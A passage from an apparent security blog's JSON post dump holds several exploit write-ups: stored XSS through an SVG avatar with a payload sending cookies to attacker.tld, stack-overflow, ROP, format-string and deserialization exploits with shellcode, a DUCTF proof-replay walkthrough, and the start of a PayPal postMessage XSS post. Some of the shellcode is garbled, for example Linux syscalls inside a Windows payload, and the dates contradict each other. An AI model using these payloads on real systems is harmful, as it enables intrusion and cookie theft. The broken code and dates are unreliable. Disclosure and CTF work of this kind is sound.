GIF… but no visible restrictions on file type.\nSo I tried my favorite \u0026ldquo;edge-case image\u0026rdquo;: an SVG file.\nWhy SVG? Because it\u0026rsquo;s not just an image — it\u0026rsquo;s a vector format that executes JavaScript if not handled properly.\nI crafted the simplest SVG payload imaginable:\n\u0026lt;svg xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; onload=\u0026#34;alert(document.cookie)\u0026#34;/\u0026gt; Saved it as exploit.svg.\nWould it upload? Would it break?\nChapter 2 — Uploading the Trojan Horse # The curl command whispered into the void.\ncurl -X POST https://taskmasterapp.com/upload -F \u0026#34;avatar=@exploit.svg\u0026#34; -H \u0026#34;Cookie: session=123\u0026#34; The response was 200 OK. My SVG was in.\nNo sanitization warnings. No file type rejection. Just a quiet acceptance.\nI checked my profile page.\nNothing yet.\nBut then I remembered—most sites lazy-load or render avatars differently for the viewer vs. an admin.\nSo I waited.\nThen, I switched to a second account and viewed the profile.\nNothing again.\nSo I asked the ultimate question:\nWhat happens when the admin sees it?\nChapter 3 — Triggering the XSS # I waited until morning. Refreshed the profile.\nThen, from a second session — with admin rights — I visited the same profile page where I had uploaded the SVG.\nBoom. Alert popped.\nalert(document.cookie) A beautifully chaotic popup.\nAnd with it, access to session cookies.\nNo frills. No filters. Just raw JavaScript execution embedded inside a stored avatar upload.\nChapter 4 — Thinking Like an Attacker # Let’s rewind to what I was thinking at each stage.\n1. SVG upload? Red flag.\nSVGs aren\u0026rsquo;t images in the traditional sense. They are XML documents, often capable of executing scripts.\n2. No content filtering? Jackpot.\nThe moment I saw the site accepted the file without stripping the onload attribute, I knew we were dealing with a real issue.\n3. Stored XSS on profile pages? High impact.\nAny admin or privileged user viewing the profile would immediately get hit. No click required.\nI imagined a larger attack:\nUpload multiple poisoned avatars across many users. Wait for moderators to view their profiles. Use fetch() or image beacons to exfiltrate data. The payload possibilities were endless.\nChapter 5 — Proof of Concept (PoC) # PoC 1 — SVG Payload # \u0026lt;svg xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; onload=\u0026#34;alert(document.cookie)\u0026#34;/\u0026gt; Uploaded as a profile avatar.\nPoC 2 — Exploit Trigger # When a privileged user (admin/mod) visits the profile:\nJavaScript executes. document.cookie exposed. Session hijacking possible. Alternate Payload for Stealth:\n\u0026lt;svg xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; onload=\u0026#34;new Image().src=\u0026#39;https://attacker.tld/log?c=\u0026#39;+document.cookie\u0026#34;/\u0026gt; Chapter 6 — Root Cause # No SVG Sanitization: The upload logic didn’t filter XML or disallow SVG tags with event attributes. Stored XSS: Once uploaded, the SVG persisted and was rendered inline. JavaScript Execution: onload inside the \u0026lt;svg\u0026gt; tag triggered code execution. Lack of CSP (Content Security Policy) made this even easier — no restriction on inline scripts.\nChapter 7 — The Report # I wrote up the full findings, attached the PoC, outlined the risk.\nSubmitted the report to YesWeHack.\nReport Timeline # Report Date: October 5, 2023 Acknowledgment: \u0026lt; 12 hours Fix Deployed: Within 3 days SVG uploads disabled Content Security Policy (CSP) headers added Bounty: $50 # A modest reward — but the lesson was worth much more.\nEpilogue — Reflections from the Vector Wilds # This wasn’t the biggest bounty.\nIt wasn’t a critical RCE.\nBut it was real.\nAnd it reminded me:\nImages aren’t always safe. SVGs are vectors — literally and attack-wise. Stored XSS is timeless. Upload forms are always worth investigating. The best bugs are often quiet — hiding in plain sight, waiting for someone to ask:\n\u0026ldquo;What if\u0026hellip;?\u0026rdquo;\nTL;DR Summary # Vuln: Stored XSS via SVG upload in user avatars Platform: YesWeHack — TaskMaster App Payload: \u0026lt;svg onload=\u0026quot;alert(document.cookie)\u0026quot;\u0026gt; Impact: Session hijack for viewers (admin/moderator) Fix: Disabled SVG uploads, added CSP Bounty: $50 Lesson: Never trust an image by its extension This writeup is dedicated to the sleepy hackers who still believe every file upload hides a story.\n","date":"2023-10-05","externalUrl":null,"permalink":"/bugbounty/taskmaster/","section":"BugBounties","summary":"\u003ch2 class=\"relative group\"\u003ePrologue — Of Avatars and Curiosity \n    \u003cdiv id=\"prologue--of-avatars-and-curiosity\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--of-avatars-and-curiosity\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eIt started with a profile page.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLate one night in October, I was sipping on reheated coffee and casually poking around the \u0026ldquo;TaskMaster\u0026rdquo; app — a tidy little task management platform listed on YesWeHack. On the surface, it was clean, minimal, maybe even a bit charming.\u003c/p\u003e","title":"TaskMaster – How an Avatar Became a Cookie Monster","type":"bugbounty"},{"content":"","date":"2023-10-05","externalUrl":null,"permalink":"/categories/web-security/","section":"Categories","summary":"","title":"Web Security","type":"categories"},{"content":"","date":"2023-10-05","externalUrl":null,"permalink":"/categories/xss-chronicles/","section":"Categories","summary":"","title":"XSS Chronicles","type":"categories"},{"content":"","date":"2023-10-05","externalUrl":null,"permalink":"/tags/yeswehack/","section":"Tags","summary":"","title":"YesWeHack","type":"tags"},{"content":"","date":"2023-10-02","externalUrl":null,"permalink":"/tags/named-pipe/","section":"Tags","summary":"","title":"Named Pipe","type":"tags"},{"content":" Prologue — Pipes, Stacks, and Hidden Elevation # I was digging around Windows 10 utilities installed on a workstation used for internal admin scripting. One tool stood out — LocalAdminTool.exe. It used a named pipe to receive commands, and the binary hadn’t seen a patch in years.\nOnce I opened it up in IDA and started examining pipe input handling, the problem jumped out. A classic strcpy into a stack buffer. In x64. In 2023. Just sitting there.\nPlatform # Windows 10 x64 LocalAdminTool.exe (internal IT build, 1.9.3) Overview # The vulnerability lives in the pipe handling logic. When commands are sent to the named pipe, the service pulls them into a stack buffer using strcpy.\nThere’s no length validation. The attacker can write as much as they want. And with no stack cookie present, it’s possible to overwrite the return address and hijack control.\nFunction Disassembly # Here\u0026rsquo;s what the core function looks like:\n.text:0000000140011000 handle_pipe_input: sub rsp, 0x200 lea rdi, [rsp+20h] call strcpy ; unsafe copy from pipe data So, data from the pipe is dumped into [rsp+0x20] without bounds checking.\nExploit Path # The exploit path was straightforward:\nSend a long string to the named pipe. Overwrite the return address on the stack. Point it to shellcode placed earlier in the same buffer. Return into the shellcode and run as the elevated process. Because stack cookies weren’t enabled and DEP wasn’t properly enforced, this exploit landed easily.\nPayload: Shellcode (x64) # Here’s the core shellcode used to launch a new elevated cmd.exe session:\nmov rcx, offset cmd_string call WinExec ret cmd_string db \u0026#34;cmd.exe\u0026#34;, 0 The WinExec address was resolved statically due to no ASLR in this build.\nExtra: Named Pipe Interaction Example # This was the basic PowerShell one-liner used to send payloads through the named pipe:\n$pipe = new-object System.IO.Pipes.NamedPipeClientStream(\u0026#34;.\u0026#34;, \u0026#34;adminpipe\u0026#34;, \u0026#34;Out\u0026#34;) $pipe.Connect() $writer = new-object System.IO.StreamWriter($pipe) $writer.Write(\u0026#34;A\u0026#34; * 600 + \u0026#34;[ROP or shellcode here]\u0026#34;) $writer.Flush() $writer.Close() $pipe.Close() This overflows the buffer and delivers control.\nOutcome # The exploit gave me full admin privileges on the target machine:\nSpawned an elevated shell Modified local group policies Escalated into system service accounts The kicker? It all happened without touching disk or triggering UAC. Just a pipe, a buffer, and some shellcode.\nImpact # Privilege Escalation: Yes (Local to Admin) Exploit Method: Stack overflow via named pipe input Mitigations Bypassed: Stack cookie (absent), DEP (misconfigured) User Interaction: None (pipe-based delivery) Lessons # Even modern systems carry old mistakes. strcpy on stack data in 2023 is hard to justify. But it\u0026rsquo;s still out there — usually in legacy tools made for internal use.\nThis one turned out to be a quiet privilege ladder, just waiting for someone to overflow the right buffer.\nEndgame # Pushed the payload, caught the elevated shell, and rewrote the rules from inside.\nNo alerts. No interruptions. Just the sound of a prompt blinking back, waiting for its next elevated command.\n","date":"2023-10-02","externalUrl":null,"permalink":"/reverseengineering/localadmintool/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — Pipes, Stacks, and Hidden Elevation\u003c/strong\u003e \n    \u003cdiv id=\"prologue--pipes-stacks-and-hidden-elevation\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--pipes-stacks-and-hidden-elevation\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eI was digging around Windows 10 utilities installed on a workstation used for internal admin scripting. One tool stood out — \u003ccode\u003eLocalAdminTool.exe\u003c/code\u003e. It used a named pipe to receive commands, and the binary hadn’t seen a patch in years.\u003c/p\u003e","title":"Overflowing Authority: Stack Smash in LocalAdminTool.exe","type":"reverseengineering"},{"content":"","date":"2023-10-02","externalUrl":null,"permalink":"/categories/privilege-escalation/","section":"Categories","summary":"","title":"Privilege Escalation","type":"categories"},{"content":"","date":"2023-10-02","externalUrl":null,"permalink":"/tags/stack-exploit/","section":"Tags","summary":"","title":"Stack Exploit","type":"tags"},{"content":"","date":"2023-10-02","externalUrl":null,"permalink":"/categories/stack-overflow/","section":"Categories","summary":"","title":"Stack Overflow","type":"categories"},{"content":"","date":"2023-09-14","externalUrl":null,"permalink":"/tags/buffer-overflow/","section":"Tags","summary":"","title":"Buffer Overflow","type":"tags"},{"content":" Prologue — CSVs, Gadgets \u0026amp; Shells # It started with a curiosity hit—an old install of HealthDesk Report Viewer, still alive on a legacy Windows 7 x86 box. Binary hadn\u0026rsquo;t been touched since 2010. And it was one of those static base address builds, no ASLR, no DEP, no nothing. Just waiting.\nOne rainy afternoon, I dug into the CSV import feature, and sure enough, the parser was playing loose with user input. Specifically, a strcpy on unchecked data.\nThings escalated quickly.\nPlatform # Windows 7 x86 HealthDesk Report Viewer (build 2.4.8.0) Overview # The vulnerability lives inside the CSV import handler. The input data from the CSV file is passed to a routine that calls strcpy into a local buffer. That buffer? 0x400 bytes on the stack.\nSo, if we drop a long enough CSV string, we can overwrite the return address—and in this case, build a full ROP chain. No mitigations stopped us, thanks to the binary\u0026rsquo;s static base and lack of stack protection.\nDisassembly Insight # Here\u0026rsquo;s what the function looked like during reversing:\n.text:00401350 csv_import proc .text:00401350 push ebp .text:00401351 mov ebp, esp .text:00401353 sub esp, 400h .text:00401359 mov eax, [ebp+0Ch] ; input string .text:0040135C lea edi, [ebp-400h] .text:00401362 call _strcpy ; unsafe! Classic stack buffer overflow with zero checks. It’s just waiting for a CSV row longer than 1024 bytes.\nExploit Path # My approach was straightforward:\nCraft a malicious .csv line that exceeds 1024 bytes. Overflow into the saved return address. Inject a ROP chain that marks the stack executable using VirtualProtect. Land into shellcode at the end of the buffer. ROP Chain: Sample Gadget Flow # This is a simplified version of the ROP chain used in the actual exploit:\n; VirtualProtect to make stack executable push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; size push 0x1000 ; MEM_COMMIT push esp ; lpAddress call VirtualProtect ; Jump to shellcode jmp esp With a static binary and known image base, every gadget address was hardcoded. No fuzzing needed—just clean gadget stitching.\nOutcome # Once the CSV payload was parsed by the report viewer, the shell popped instantly. Here\u0026rsquo;s what followed:\nReverse shell access as user running the GUI Pivoted into local network through old SMB shares Dropped persistence using scheduled tasks The entire exploit was embedded into a legitimate-looking CSV file. Nothing on disk, no alerts, no AV hits.\nImpact # Privilege Escalation: From user-space GUI to full shell Exploit Method: Classic stack overflow with ROP chain Mitigations Bypassed: ASLR (not present), DEP (disabled), Stack Cookies (not present) User Interaction: Yes (CSV import via GUI) Lessons # Old binaries still carry sharp edges. The kind of vulnerabilities that modern stacks forgot—raw strcpy, static base, no mitigations.\nThe fact that this service parsed attacker-supplied CSVs and ran it on a trusted backend gave it teeth. And when gadgets are predictable, all you need is patience.\nEndgame # Dropped the payload, clicked \u0026ldquo;Import CSV\u0026rdquo;, and watched the shell connect back.\nSometimes, exploitation is just about finding the right dusty corner of legacy code\u0026hellip; and stringing a few gadgets together.\n","date":"2023-09-14","externalUrl":null,"permalink":"/reverseengineering/healthdesk/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — CSVs, Gadgets \u0026amp; Shells\u003c/strong\u003e \n    \u003cdiv id=\"prologue--csvs-gadgets--shells\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--csvs-gadgets--shells\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eIt started with a curiosity hit—an old install of \u003cstrong\u003eHealthDesk Report Viewer\u003c/strong\u003e, still alive on a legacy Windows 7 x86 box. Binary hadn\u0026rsquo;t been touched since 2010. And it was one of those static base address builds, no ASLR, no DEP, no nothing. Just waiting.\u003c/p\u003e","title":"Chaining Control: ROP Exploitation in HealthDesk Report Viewer","type":"reverseengineering"},{"content":"","date":"2023-09-14","externalUrl":null,"permalink":"/tags/legacy-systems/","section":"Tags","summary":"","title":"Legacy Systems","type":"tags"},{"content":"","date":"2023-09-14","externalUrl":null,"permalink":"/tags/rop/","section":"Tags","summary":"","title":"ROP","type":"tags"},{"content":"","date":"2023-09-14","externalUrl":null,"permalink":"/categories/rop-exploits/","section":"Categories","summary":"","title":"ROP Exploits","type":"categories"},{"content":"","date":"2023-09-02","externalUrl":null,"permalink":"/tags/downunderctf/","section":"Tags","summary":"","title":"DownUnderCTF","type":"tags"},{"content":"","date":"2023-09-02","externalUrl":null,"permalink":"/tags/ductf/","section":"Tags","summary":"","title":"DUCTF","type":"tags"},{"content":"0x00 – Prologue\nThis one was different. Not just some base64 puzzle or random math CTF fluff. It had structure. It had depth. I knew from the first glance that \u0026ldquo;Encrypted Mail\u0026rdquo; was hiding something sophisticated. There was a Zero-Knowledge Proof involved — that alone made me crack my knuckles. That phrase isn’t tossed around unless it means business.\nThe challenge centered on a weird internal mail system where users could “prove” their identity without revealing secrets. But like any system, if the ZKP implementation’s off by even a byte, I’m slipping in.\nAnd that’s exactly what happened.\n0x01 – First Look: The App # So, I hit the challenge and it booted up a small web app where you could register users and send mail. There was a separate identity for admin, and a mysterious user called flag_haver. Of course, my eyes were on them.\nAfter setting up my account, I noticed the app’s proof submission system.\nEach login or action was gated behind a cryptographic “proof” — likely generated client-side.\nLet’s break it down.\n0x02 – The ZKP Protocol (What Was Meant to Happen) # Here’s the rough flow I reverse-engineered from the JS source and network traffic:\n1. You choose a private key (secret). 2. You compute some public data from it (usually g^x mod p). 3. You use a ZKP to prove you know x without leaking it. The proof looked like a simplified Schnorr-style interaction:\n# Prover side (client) priv = random_secret() pub = pow(g, priv, p) r = random_nonce() a = pow(g, r, p) # Server gives you a challenge: e = H(a || pub || message) z = (r + e * priv) % q # Proof: (a, z) The server then checks:\na\u0026#39; = (g^z * pub^-e) % p H(a\u0026#39; || pub || message) == e All looks good — until you peek at how e was calculated.\n0x03 – The Flaw: Deterministic e = Same z # So I did this:\ncurl -X POST /prove -d \u0026#39;{\u0026#34;pub\u0026#34;:..., \u0026#34;proof\u0026#34;: [a, z]}\u0026#39; But I noticed something funny — if I sent the same message and public key, the e challenge was always the same.\nThat’s\u0026hellip; not good.\nIn proper ZKPs, the e challenge must come from the verifier and should be fresh and random each time. Here, the client was controlling it.\nMeaning: replay attacks. But it gets better — if I saw someone else’s pub and proof, I could forge things myself.\n0x04 – Getting Admin Privileges # So, I needed a proof that passed for the admin account.\nCaptured a valid (a, z) pair from a legit admin login. Now, even if I didn’t know their private key, I could replay the proof.\nBut to do that, I needed to find the admin’s pub. Guess what? It was public. Listed in the /users page.\nBoom:\nadmin_pub = ... # from the listing admin_proof = (a, z) # sniffed or logged from traffic Sent this to the server:\ncurl -X POST /prove -d \u0026#39;{\u0026#34;pub\u0026#34;: admin_pub, \u0026#34;proof\u0026#34;: [a, z]}\u0026#39; I was now logged in as admin.\n0x05 – Forging the Mail Command # Next up: contacting flag_haver.\nI noticed from the source code and the UI that you could send “mail” with arbitrary subject and message.\nThe only trick was, you had to send it from an authenticated user.\nNow that I was admin, I could send anything to anyone.\nSo I did:\ncurl -X POST /send -d \u0026#39;{\u0026#34;from\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;to\u0026#34;: \u0026#34;flag_haver\u0026#34;, \u0026#34;subject\u0026#34;: \u0026#34;give\u0026#34;, \u0026#34;body\u0026#34;: \u0026#34;drop it\u0026#34;}\u0026#39; And surprise — this triggered an automated rule in flag_haver\u0026rsquo;s inbox to reply with the flag if the sender was admin.\nA moment later, I checked the admin inbox:\ncurl /inbox/admin 0x06 – The Flag and Its Format # Inside that inbox, buried in a JSON response:\n{ \u0026#34;subject\u0026#34;: \u0026#34;Here\u0026#34;, \u0026#34;body\u0026#34;: \u0026#34;DUCTF{f4ulty_proofs_and_fake_admins_win_games}\u0026#34; } Game over.\n0x07 – What Went Wrong (In Their Code) # So here’s a quick breakdown of their mistake:\nThe client was generating the challenge (e) for the ZKP instead of the server. Since e was based on deterministic inputs, same input = same proof. No randomness = replay attacks possible. They allowed unauthenticated access to user public keys. They reused message IDs in a way that let you spoof message contexts. All of it combined meant I could:\nForge login as admin using replayed proof. Send message to flag_haver impersonating admin. Trigger flag leak. 0x08 – Tools \u0026amp; Tactics # Burp Suite and mitmproxy for intercepting login proofs Custom Python scripts to replay proofs and automate requests Manual inspection of JS crypto to reverse protocol logic curl for raw API manipulation 0x09 – Outro # This challenge was a beautiful blend of protocol design, crypto assumptions, and good old HTTP poking. It wasn’t about breaking AES or factoring primes — it was about knowing how these systems fail in the real world.\nAnd once again, trusting the client turned out to be their biggest mistake.\nI just helped them learn that lesson the hard way.\n0x0A – Flag # DUCTF{f4ulty_proofs_and_fake_admins_win_games} ","date":"2023-09-02","externalUrl":null,"permalink":"/capturetheflag/encryptedmail/","section":"CaptureTheFlags","summary":"\u003cp\u003e0x00 – Prologue\u003c/p\u003e\n\u003cp\u003eThis one was different. Not just some base64 puzzle or random math CTF fluff. It had structure. It had depth. I knew from the first glance that \u0026ldquo;Encrypted Mail\u0026rdquo; was hiding something sophisticated. There was a Zero-Knowledge Proof involved — that alone made me crack my knuckles. That phrase isn’t tossed around unless it means business.\u003c/p\u003e","title":"Encrypted Mail – DUCTF 2023","type":"capturetheflag"},{"content":"","date":"2023-09-02","externalUrl":null,"permalink":"/tags/protocol-analysis/","section":"Tags","summary":"","title":"Protocol Analysis","type":"tags"},{"content":"","date":"2023-09-02","externalUrl":null,"permalink":"/tags/secure-communication/","section":"Tags","summary":"","title":"Secure Communication","type":"tags"},{"content":" Prologue — Strings, Stacks, and Legacy Tricks # Legacy systems are a goldmine. I was rummaging through an old factory control rig running Windows XP and found a small utility called DevMon Status Tool. No ASLR, no stack cookies, no DEP. Real 2003 energy.\nIt printed connected devices through a local GUI—harmless on the surface. But once I reversed the binary, I hit a beautiful red flag: printf(user_input) with no format control.\nThat\u0026rsquo;s when things got interesting.\nPlatform # Windows XP SP3 x86 DevMon Status Tool v1.0.7 Overview # The vulnerability lies in a direct printf() call using unsanitized user input. That means:\nYou control the format string. You can leak stack values. You can write arbitrary values using %n. That’s full stack control without breaking a sweat.\nSample Code (Decompiled) # void showDeviceStatus(char* user_input) { printf(user_input); // directly using user-controlled input } This was pulled from Ghidra. No wrapper, no format string defined—just raw input to printf.\nExploit Strategy # The approach was textbook:\nInject %x format specifiers to leak stack data. Use the output to locate key pointers and buffer offsets. Craft an input with %n to overwrite return address (EIP) or function pointer. Redirect execution to injected shellcode. The %n format specifier writes the number of printed characters into a memory location. With the right padding and target address on the stack, it\u0026rsquo;s game over.\nPayload Example # AAAA%08x.%08x.%08x.%n Once offsets were mapped, I replaced the prefix with the address I wanted to overwrite (padded correctly), followed by enough characters to write a value like the shellcode address.\nAdvanced Payload Breakdown # \u00124Vx%123x%4$n \u00124Vx: Address to write to (return pointer) %123x: Padding to set the number of characters printed %4$n: Write that count to the 4th stack argument With careful positioning and known stack layout, this gave full EIP control.\nShellcode Use # I dropped a short WinExec shellcode into the stack buffer before the format string and redirected EIP into it.\nmov ecx, offset cmd_string call WinExec ret cmd_string db \u0026#34;cmd.exe\u0026#34;, 0 Outcome # Triggered the exploit through a malformed device name entry:\nLeaked multiple stack values Calculated buffer offset to return address Overwrote EIP using %n with precision padding Jumped to shellcode Spawned a local shell as SYSTEM No external scripts or tools needed. Just a classic format string abuse through a legacy binary still running in production.\nImpact # Privilege Escalation: Yes (user to SYSTEM) Remote Vector: No (local user interaction) Mitigations Bypassed: All (none present) Exploit Method: Format string to EIP overwrite and shellcode execution Lessons # This bug type might feel ancient, but it still lives in legacy systems that haven’t been audited in decades. When format strings go unchecked, they let attackers whisper to the stack—and the stack listens.\nEndgame # Old system, ancient bug, clean exploit. Dropped the payload, hijacked control, and summoned a SYSTEM shell. And all it took was a few sneaky characters passed into printf().\n","date":"2023-08-18","externalUrl":null,"permalink":"/reverseengineering/devmon/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — Strings, Stacks, and Legacy Tricks\u003c/strong\u003e \n    \u003cdiv id=\"prologue--strings-stacks-and-legacy-tricks\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--strings-stacks-and-legacy-tricks\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eLegacy systems are a goldmine. I was rummaging through an old factory control rig running Windows XP and found a small utility called \u003ccode\u003eDevMon Status Tool\u003c/code\u003e. No ASLR, no stack cookies, no DEP. Real 2003 energy.\u003c/p\u003e","title":"Echoes of Control: Format String Exploit in DevMon","type":"reverseengineering"},{"content":"","date":"2023-08-18","externalUrl":null,"permalink":"/tags/eip-control/","section":"Tags","summary":"","title":"EIP Control","type":"tags"},{"content":"","date":"2023-08-18","externalUrl":null,"permalink":"/tags/format-string/","section":"Tags","summary":"","title":"Format String","type":"tags"},{"content":"","date":"2023-08-18","externalUrl":null,"permalink":"/categories/format-string-exploits/","section":"Categories","summary":"","title":"Format String Exploits","type":"categories"},{"content":"","date":"2023-08-18","externalUrl":null,"permalink":"/tags/shell-execution/","section":"Tags","summary":"","title":"Shell Execution","type":"tags"},{"content":"","date":"2023-08-18","externalUrl":null,"permalink":"/tags/windows-xp/","section":"Tags","summary":"","title":"Windows XP","type":"tags"},{"content":"","date":"2023-08-04","externalUrl":null,"permalink":"/categories/deserialization/","section":"Categories","summary":"","title":"Deserialization","type":"categories"},{"content":"","date":"2023-08-04","externalUrl":null,"permalink":"/categories/exploit-development/","section":"Categories","summary":"","title":"Exploit Development","type":"categories"},{"content":" Insecure Deserialization in FinPro CRM Client (x86) # Prologue: Old Habits, Unsafe Casts # I was poking through a legacy CRM tool called FinPro — the kind your dad’s office might still be using. Clunky GUI, startup splash screen, and an installer that required admin rights. Perfect vintage.\nAfter some static reversing, I noticed it stored config profiles as binary blobs. The deserialization function? Oh boy.\nVulnerability — The Classic Unsafe memcpy # Decompilation revealed this gem:\nvoid deserialize_config(char* data) { ConfigObject* cfg = (ConfigObject*)malloc(sizeof(ConfigObject)); memcpy(cfg, data, sizeof(ConfigObject)); // unsafe } That’s it. No size check. No validation. Just grab some data, treat it like a ConfigObject, and keep moving.\nSo if I could supply the data pointer — or better, if I could tamper with the blob stored on disk or received over the network — I could inject a crafted ConfigObject with my own values.\nIncluding function pointers.\nExploitation — DIY Virtual Table # I created a fake ConfigObject structure with a function pointer right where the client expected one. When the app loaded the config, it would call the initialize() method from the object — except that method pointed to my shellcode.\nPayload Layout (x86) # ; Fake ConfigObject with a pointer at offset 0x0C ; Replace it with the address of shellcode nop nop nop nop jmp shellcode shellcode: ; calc.exe launcher xor eax, eax push eax push 0x6578652e push 0x636c6163 mov ebx, esp mov ecx, eax mov edx, eax mov al, 0x0b int 0x80 This shellcode just pops calc.exe, but I tested it with a reverse shell as well. Worked clean.\nI saved the blob into a config file default.cfg, launched the CRM, and boom — execution flowed straight into my injected bytes.\nAlternate Route — Network Config Blob # Later I learned that the CRM client could sync with a central server and fetch fresh config blobs. That means this vulnerability wasn’t just local — it was potentially remote exploitable too if an attacker could MITM or poison the sync mechanism.\nThat’s scary.\nResult # Arbitrary code execution by injecting a fake serialized object No authentication or validation around config blob Could be local or remote depending on deployment Extra Payload — File Dropper Stub # _start: ; Write an executable dropper to disk mov eax, 0x3C ; NtCreateFile ; setup args to write into %APPDATA%\\rce.exe ; omitted full stub for brevity I also used this deserialization to plant a binary inside the user profile for persistence.\nMitigations # This is why binary deserialization is a landmine. If you must use it:\nDon’t cast raw buffers to structs with function pointers Use safe serialization libraries with defined schemas Verify blob size and magic headers before memcpy Final Thoughts # Honestly, this is one of those bugs that makes you shake your head. It\u0026rsquo;s 2025, but some devs are still treating bytes like structs and structs like magic. I didn\u0026rsquo;t even need to spray the heap — just overwrite a pointer and let the app do the rest.\nIt’s the software equivalent of \u0026ldquo;plug it in and hope it fits.\u0026rdquo;\nSummary # Vulnerability: Insecure deserialization with function pointer overwrite Platform: Windows x86 Technique: Fake object injection → arbitrary code execution Payload: calc.exe / reverse shell via vtable hijack Risk: Local and potentially remote Fix: Stop unsafe pointer casting from serialized blobs ","date":"2023-08-04","externalUrl":null,"permalink":"/reverseengineering/finpro/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003eInsecure Deserialization in FinPro CRM Client (x86) \n    \u003cdiv id=\"insecure-deserialization-in-finpro-crm-client-x86\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#insecure-deserialization-in-finpro-crm-client-x86\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\n\u003ch2 class=\"relative group\"\u003ePrologue: Old Habits, Unsafe Casts \n    \u003cdiv id=\"prologue-old-habits-unsafe-casts\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue-old-habits-unsafe-casts\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eI was poking through a legacy CRM tool called FinPro — the kind your dad’s office might still be using. Clunky GUI, startup splash screen, and an installer that required admin rights. Perfect vintage.\u003c/p\u003e","title":"From Blob to Boom: Insecure Deserialization in FinPro CRM","type":"reverseengineering"},{"content":"","date":"2023-08-04","externalUrl":null,"permalink":"/tags/function-pointer-overwrite/","section":"Tags","summary":"","title":"Function Pointer Overwrite","type":"tags"},{"content":"","date":"2023-08-04","externalUrl":null,"permalink":"/tags/insecure-deserialization/","section":"Tags","summary":"","title":"Insecure Deserialization","type":"tags"},{"content":" Silent Payloads: DOM-Based XSS in PayPal’s Checkout # How a routine evening review of postMessage logic in third-party iframes spiraled into a silent, weaponizable DOM XSS — tucked neatly within a trusted payment flow.\nTable of Contents # Prologue Discovery Narrative Technical Deep Dive Vulnerability Root Cause Exploitation Methodology Proof of Concept Basic Exploit Advanced Attack Scenario Impact Analysis Remediation Timeline Security Recommendations Appendix Prologue # It was just another night — headphones on, browser dev tools open, nothing too intense.\nI was poking around PayPal\u0026rsquo;s checkout iframe integration out of curiosity.\nThe goal was simple: analyze their message-passing flow.\nBut the moment I saw that first unvalidated postMessage event handler, something clicked.\nIt was one of those classic cases. You see it, and you just know — this is gonna go somewhere.\nDiscovery Narrative # Timeline:\n23:42: Began analysis of iframe message passing 23:47: Noticed unvalidated postMessage handler 23:53: First successful XSS trigger 00:15: Developed reproducible PoC 00:30: Documented attack surface 01:00: Prepared disclosure report This wasn’t a lucky shot. It came from checking message event listeners in embedded iframes.\nPayPal’s iframe had no origin checks. That’s when the gears started turning.\nWhat if I could inject JavaScript by crafting a malicious message?\nSpoiler: I could.\nTechnical Deep Dive # Vulnerability Root Cause # // Vulnerable message handler in PayPal\u0026#39;s iframe window.addEventListener(\u0026#39;message\u0026#39;, (event) =\u0026gt; { const { action, data } = event.data; if (action === \u0026#39;checkout-redirect\u0026#39;) { window.location.href = data.url; } }); No origin check. No payload validation. And a direct assignment to window.location.href.\nThat’s three red flags in a row.\nKey Security Failures # Origin Trust # - No event.origin verification + Should verify origin matches expected domains Input Validation # - Accepts arbitrary message structure + Should validate message schema Dangerous Sink # - Direct assignment to location.href + Should sanitize URLs and restrict protocols Exploitation Methodology 